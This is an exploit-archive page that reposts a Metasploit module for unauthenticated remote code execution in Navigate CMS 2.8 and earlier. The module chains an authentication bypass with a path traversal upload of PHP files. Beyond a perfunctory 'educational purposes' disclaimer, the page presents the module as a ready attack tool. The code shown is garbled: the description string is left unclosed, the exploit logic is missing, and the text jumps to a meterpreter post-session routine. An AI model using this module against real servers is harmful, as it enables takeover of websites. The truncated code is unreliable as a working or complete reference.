Exploits / Vulnerability Discovered : 2018-10-08 |
Type : remote |
Platform : php
This exploit / vulnerability Navigate cms (unauthenticated) remote code execution (metasploit) is for educational purposes only and if it is used you will do on your own risk!
[+] Code ...
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'Navigate CMS Unauthenticated Remote Code Execution',
'Description' => %q(
This module exploits insufficient sanitization in the database::protect
method, of Navigate CMS versions 2.8 and prior, to bypass authentication.
The module then uses a path traversal vulnerability in navigate_upload.php
that allows authenticated users to upload PHP files to arbitrary locations.
Together these vulnerabilities allow an unauthenticated attacker to
execute arbitrary PHP code remotely.
def on_new_session(session)
super
if session.type != 'meterpreter'
print_error('Unable to restore navigate_info.php')
return
end
session.core.use('stdapi') if !session.ext.aliases.include?('stdapi')
begin
session.fs.file.open('navigate_info.php', 'w').write("<?php\n\nphpinfo();\n\n?>")
rescue
print_error('Unable to restore navigate_info.php')
end
end
end